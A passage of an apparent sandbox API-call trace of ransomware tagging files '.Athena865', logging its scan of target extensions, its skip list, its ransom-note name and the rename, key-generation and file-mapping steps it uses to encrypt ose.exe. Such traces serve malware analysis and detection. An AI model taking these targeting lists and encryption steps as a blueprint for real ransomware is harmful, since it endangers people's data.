lstrlenW (lpString="pdm") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0061.718] lstrlenW (lpString="pnz") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0061.718] lstrlenW (lpString="qry") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0061.718] lstrlenW (lpString="qvd") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0061.718] lstrlenW (lpString="rbf") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0061.718] lstrlenW (lpString="rctd") returned 4 [0061.718] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0061.718] lstrlenW (lpString="rod") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0061.718] lstrlenW (lpString="rodx") returned 4 [0061.718] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0061.718] lstrlenW (lpString="rpd") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0061.718] lstrlenW (lpString="rsd") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0061.718] lstrlenW (lpString="sas7bdat") returned 8 [0061.718] lstrlenW (lpString="sbf") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0061.718] lstrlenW (lpString="scx") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0061.718] lstrlenW (lpString="sdb") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0061.718] lstrlenW (lpString="sdc") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0061.718] lstrlenW (lpString="sdf") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0061.718] lstrlenW (lpString="sis") returned 3 [0061.718] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0061.719] lstrlenW (lpString="spq") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0061.719] lstrlenW (lpString="te") returned 2 [0061.719] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0061.719] lstrlenW (lpString="teacher") returned 7 [0061.719] lstrlenW (lpString="tmd") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0061.719] lstrlenW (lpString="tps") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0061.719] lstrlenW (lpString="trc") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0061.719] lstrlenW (lpString="trc") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0061.719] lstrlenW (lpString="trm") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0061.719] lstrlenW (lpString="udb") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0061.719] lstrlenW (lpString="udl") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0061.719] lstrlenW (lpString="usr") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0061.719] lstrlenW (lpString="v12") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0061.719] lstrlenW (lpString="vis") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0061.719] lstrlenW (lpString="vpd") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0061.719] lstrlenW (lpString="vvv") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0061.719] lstrlenW (lpString="wdb") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0061.719] lstrlenW (lpString="wmdb") returned 4 [0061.719] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0061.719] lstrlenW (lpString="wrk") returned 3 [0061.719] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0061.720] lstrlenW (lpString="xdb") returned 3 [0061.720] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0061.720] lstrlenW (lpString="xld") returned 3 [0061.720] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0061.720] lstrlenW (lpString="xmlff") returned 5 [0061.720] lstrcmpiW (lpString1="e.exe", lpString2="xmlff") returned -1 [0061.720] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.Athena865") returned 80 [0061.720] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.athena865"), dwFlags=0x1) returned 1 [0061.722] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0061.722] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=174440) returned 1 [0061.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0061.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0061.722] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519118 [0061.722] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519090) returned 1 [0061.723] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0061.723] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0061.723] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ac70, lpName=0x0) returned 0x17c [0061.725] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ac70) returned 0x170000 [0061.766] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519090) returned 1 [0061.767] CryptGenRandom (in: hProv=0x519090, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0061.767] CryptReleaseContext (hProv=0x519090, dwFlags=0x0) returned 1 [0061.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0061.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0061.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0061.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0061.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0061.767] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0061.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0061.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0061.767] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0061.769] CloseHandle (hObject=0x17c) returned 1 [0061.769] CloseHandle (hObject=0x154) returned 1 [0061.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0061.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519118 | out: hHeap=0x4f0000) returned 1 [0061.769] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0061.770] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6644b620, ftCreationTime.dwHighDateTime=0x1cb04b2, ftLastAccessTime.dwLowDateTime=0x6644b620, ftLastAccessTime.dwHighDateTime=0x1cb04b2, ftLastWriteTime.dwLowDateTime=0xa81b8770, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x709768, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="osetup.dll", cAlternateFileName="")) returned 1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2=".") returned 1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2="..") returned 1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2="windows") returned -1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2="bootmgr") returned 1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2="temp") returned -1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2="pagefile.sys") returned -1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2="boot") returned 1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2="ids.txt") returned 1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2="ntuser.dat") returned 1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2="perflogs") returned -1 [0061.770] lstrcmpiW (lpString1="osetup.dll", lpString2="MSBuild") returned 1 [0061.770] lstrlenW (lpString="osetup.dll") returned 10 [0061.770] lstrcpyW (in: lpString1=0x241e8c6, lpString2="osetup.dll" | out: lpString1="osetup.dll") returned="osetup.dll" [0061.770] lstrlenW (lpString="osetup.dll") returned 10 [0061.770] lstrlenW (lpString="Athena865") returned 9 [0061.770] lstrcmpiW (lpString1="setup.dll", lpString2="Athena865") returned 1 [0061.770] lstrlenW (lpString=".dll") returned 4 [0061.771] lstrcmpiW (lpString1="osetup.dll", lpString2=".dll") returned 1 [0061.771] lstrlenW (lpString=".lnk") returned 4 [0061.771] lstrcmpiW (lpString1="osetup.dll", lpString2=".lnk") returned 1 [0061.771] lstrlenW (lpString=".ini") returned 4 [0061.771] lstrcmpiW (lpString1="osetup.dll", lpString2=".ini") returned 1 [0061.771] lstrlenW (lpString=".sys") returned 4 [0061.771] lstrcmpiW (lpString1="osetup.dll", lpString2=".sys") returned 1 [0061.771] lstrlenW (lpString="osetup.dll") returned 10 [0061.771] lstrlenW (lpString="bak") returned 3 [0061.771] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0061.771] lstrlenW (lpString="ba_") returned 3 [0061.771] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0061.771] lstrlenW (lpString="dbb") returned 3 [0061.771] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0061.771] lstrlenW (lpString="vmdk") returned 4 [0061.771] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0061.771] lstrlenW (lpString="rar") returned 3 [0061.771] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0061.771] lstrlenW (lpString="zip") returned 3 [0061.771] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0061.771] lstrlenW (lpString="tgz") returned 3 [0061.771] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0061.771] lstrlenW (lpString="vbox") returned 4 [0061.771] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0061.771] lstrlenW (lpString="vdi") returned 3 [0061.771] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0061.771] lstrlenW (lpString="vhd") returned 3 [0061.771] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0061.771] lstrlenW (lpString="vhdx") returned 4 [0061.771] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0061.771] lstrlenW (lpString="avhd") returned 4 [0061.771] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0061.771] lstrlenW (lpString="db") returned 2 [0061.772] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0061.772] lstrlenW (lpString="db2") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0061.772] lstrlenW (lpString="db3") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0061.772] lstrlenW (lpString="dbf") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0061.772] lstrlenW (lpString="mdf") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0061.772] lstrlenW (lpString="mdb") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0061.772] lstrlenW (lpString="sql") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0061.772] lstrlenW (lpString="sqlite") returned 6 [0061.772] lstrcmpiW (lpString1="up.dll", lpString2="sqlite") returned 1 [0061.772] lstrlenW (lpString="sqlite3") returned 7 [0061.772] lstrcmpiW (lpString1="tup.dll", lpString2="sqlite3") returned 1 [0061.772] lstrlenW (lpString="sqlitedb") returned 8 [0061.772] lstrcmpiW (lpString1="etup.dll", lpString2="sqlitedb") returned -1 [0061.772] lstrlenW (lpString="xml") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0061.772] lstrlenW (lpString="$er") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0061.772] lstrlenW (lpString="4dd") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0061.772] lstrlenW (lpString="4dl") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0061.772] lstrlenW (lpString="^^^") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0061.772] lstrlenW (lpString="abs") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0061.772] lstrlenW (lpString="abx") returned 3 [0061.772] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0061.772] lstrlenW (lpString="accdb") returned 5 [0061.773] lstrcmpiW (lpString1="p.dll", lpString2="accdb") returned 1 [0061.773] lstrlenW (lpString="accdc") returned 5 [0061.773] lstrcmpiW (lpString1="p.dll", lpString2="accdc") returned 1 [0061.773] lstrlenW (lpString="accde") returned 5 [0061.773] lstrcmpiW (lpString1="p.dll", lpString2="accde") returned 1 [0061.773] lstrlenW (lpString="accdr") returned 5 [0061.773] lstrcmpiW (lpString1="p.dll", lpString2="accdr") returned 1 [0061.773] lstrlenW (lpString="accdt") returned 5 [0061.773] lstrcmpiW (lpString1="p.dll", lpString2="accdt") returned 1 [0061.773] lstrlenW (lpString="accdw") returned 5 [0061.773] lstrcmpiW (lpString1="p.dll", lpString2="accdw") returned 1 [0061.773] lstrlenW (lpString="accft") returned 5 [0061.773] lstrcmpiW (lpString1="p.dll", lpString2="accft") returned 1 [0061.773] lstrlenW (lpString="adb") returned 3 [0061.773] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0061.773] lstrlenW (lpString="adb") returned 3 [0061.773] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0061.773] lstrlenW (lpString="ade") returned 3 [0061.773] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0061.773] lstrlenW (lpString="adf") returned 3 [0061.773] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0061.773] lstrlenW (lpString="adn") returned 3 [0061.773] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0061.773] lstrlenW (lpString="adp") returned 3 [0061.773] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0061.773] lstrlenW (lpString="alf") returned 3 [0061.773] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0061.773] lstrlenW (lpString="ask") returned 3 [0061.773] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0061.773] lstrlenW (lpString="btr") returned 3 [0061.773] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0061.773] lstrlenW (lpString="cat") returned 3 [0061.773] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0061.774] lstrlenW (lpString="cdb") returned 3 [0061.774] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0061.774] lstrlenW (lpString="ckp") returned 3 [0061.774] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0061.774] lstrlenW (lpString="cma") returned 3 [0061.774] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0061.774] lstrlenW (lpString="cpd") returned 3 [0061.774] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0061.774] lstrlenW (lpString="dacpac") returned 6 [0061.774] lstrcmpiW (lpString1="up.dll", lpString2="dacpac") returned 1 [0061.774] lstrlenW (lpString="dad") returned 3 [0061.774] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0061.774] lstrlenW (lpString="dadiagrams") returned 10 [0061.774] lstrlenW (lpString="daschema") returned 8 [0061.774] lstrcmpiW (lpString1="etup.dll", lpString2="daschema") returned 1 [0061.774] lstrlenW (lpString="db-journal") returned 10 [0061.774] lstrlenW (lpString="db-shm") returned 6 [0061.774] lstrcmpiW (lpString1="up.dll", lpString2="db-shm") returned 1 [0061.774] lstrlenW (lpString="db-wal") returned 6 [0061.774] lstrcmpiW (lpString1="up.dll", lpString2="db-wal") returned 1 [0061.774] lstrlenW (lpString="dbc") returned 3 [0061.774] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0061.774] lstrlenW (lpString="dbs") returned 3 [0061.774] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0061.774] lstrlenW (lpString="dbt") returned 3 [0061.774] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0061.774] lstrlenW (lpString="dbv") returned 3 [0061.774] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0061.774] lstrlenW (lpString="dbx") returned 3 [0061.774] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0061.774] lstrlenW (lpString="dcb") returned 3 [0061.774] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0061.774] lstrlenW (lpString="dct") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0061.775] lstrlenW (lpString="dcx") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0061.775] lstrlenW (lpString="ddl") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0061.775] lstrlenW (lpString="dlis") returned 4 [0061.775] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0061.775] lstrlenW (lpString="dp1") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0061.775] lstrlenW (lpString="dqy") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0061.775] lstrlenW (lpString="dsk") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0061.775] lstrlenW (lpString="dsn") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0061.775] lstrlenW (lpString="dtsx") returned 4 [0061.775] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0061.775] lstrlenW (lpString="dxl") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0061.775] lstrlenW (lpString="eco") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0061.775] lstrlenW (lpString="ecx") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0061.775] lstrlenW (lpString="edb") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0061.775] lstrlenW (lpString="epim") returned 4 [0061.775] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0061.775] lstrlenW (lpString="fcd") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0061.775] lstrlenW (lpString="fdb") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0061.775] lstrlenW (lpString="fic") returned 3 [0061.775] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0061.775] lstrlenW (lpString="flexolibrary") returned 12 [0061.776] lstrlenW (lpString="fm5") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0061.776] lstrlenW (lpString="fmp") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0061.776] lstrlenW (lpString="fmp12") returned 5 [0061.776] lstrcmpiW (lpString1="p.dll", lpString2="fmp12") returned 1 [0061.776] lstrlenW (lpString="fmpsl") returned 5 [0061.776] lstrcmpiW (lpString1="p.dll", lpString2="fmpsl") returned 1 [0061.776] lstrlenW (lpString="fol") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0061.776] lstrlenW (lpString="fp3") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0061.776] lstrlenW (lpString="fp4") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0061.776] lstrlenW (lpString="fp5") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0061.776] lstrlenW (lpString="fp7") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0061.776] lstrlenW (lpString="fpt") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0061.776] lstrlenW (lpString="frm") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0061.776] lstrlenW (lpString="gdb") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0061.776] lstrlenW (lpString="gdb") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0061.776] lstrlenW (lpString="grdb") returned 4 [0061.776] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0061.776] lstrlenW (lpString="gwi") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0061.776] lstrlenW (lpString="hdb") returned 3 [0061.776] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0061.776] lstrlenW (lpString="his") returned 3 [0061.777] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0061.777] lstrlenW (lpString="ib") returned 2 [0061.777] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0061.777] lstrlenW (lpString="idb") returned 3 [0061.777] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0061.777] lstrlenW (lpString="ihx") returned 3 [0061.777] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0061.777] lstrlenW (lpString="itdb") returned 4 [0061.777] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0061.777] lstrlenW (lpString="itw") returned 3 [0061.777] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0061.777] lstrlenW (lpString="jet") returned 3 [0061.777] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0061.777] lstrlenW (lpString="jtx") returned 3 [0061.777] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0061.777] lstrlenW (lpString="kdb") returned 3 [0061.777] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0061.777] lstrlenW (lpString="kexi") returned 4 [0061.777] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0061.777] lstrlenW (lpString="kexic") returned 5 [0061.777] lstrcmpiW (lpString1="p.dll", lpString2="kexic") returned 1 [0061.777] lstrlenW (lpString="kexis") returned 5 [0061.777] lstrcmpiW (lpString1="p.dll", lpString2="kexis") returned 1 [0061.777] lstrlenW (lpString="lgc") returned 3 [0061.777] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0061.777] lstrlenW (lpString="lwx") returned 3 [0061.777] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0061.777] lstrlenW (lpString="maf") returned 3 [0061.777] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0061.777] lstrlenW (lpString="maq") returned 3 [0061.777] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0061.777] lstrlenW (lpString="mar") returned 3 [0061.777] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0061.777] lstrlenW (lpString="marshal") returned 7 [0061.778] lstrcmpiW (lpString1="tup.dll", lpString2="marshal") returned 1 [0061.778] lstrlenW (lpString="mas") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0061.778] lstrlenW (lpString="mav") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0061.778] lstrlenW (lpString="maw") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0061.778] lstrlenW (lpString="mdbhtml") returned 7 [0061.778] lstrcmpiW (lpString1="tup.dll", lpString2="mdbhtml") returned 1 [0061.778] lstrlenW (lpString="mdn") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0061.778] lstrlenW (lpString="mdt") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0061.778] lstrlenW (lpString="mfd") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0061.778] lstrlenW (lpString="mpd") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0061.778] lstrlenW (lpString="mrg") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0061.778] lstrlenW (lpString="mud") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0061.778] lstrlenW (lpString="mwb") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0061.778] lstrlenW (lpString="myd") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0061.778] lstrlenW (lpString="ndf") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0061.778] lstrlenW (lpString="nnt") returned 3 [0061.778] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0061.778] lstrlenW (lpString="nrmlib") returned 6 [0061.779] lstrcmpiW (lpString1="up.dll", lpString2="nrmlib") returned 1 [0061.779] lstrlenW (lpString="ns2") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0061.779] lstrlenW (lpString="ns3") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0061.779] lstrlenW (lpString="ns4") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0061.779] lstrlenW (lpString="nsf") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0061.779] lstrlenW (lpString="nv") returned 2 [0061.779] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0061.779] lstrlenW (lpString="nv2") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0061.779] lstrlenW (lpString="nwdb") returned 4 [0061.779] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0061.779] lstrlenW (lpString="nyf") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0061.779] lstrlenW (lpString="odb") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0061.779] lstrlenW (lpString="odb") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0061.779] lstrlenW (lpString="oqy") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0061.779] lstrlenW (lpString="ora") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0061.779] lstrlenW (lpString="orx") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0061.779] lstrlenW (lpString="owc") returned 3 [0061.779] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0061.779] lstrlenW (lpString="p96") 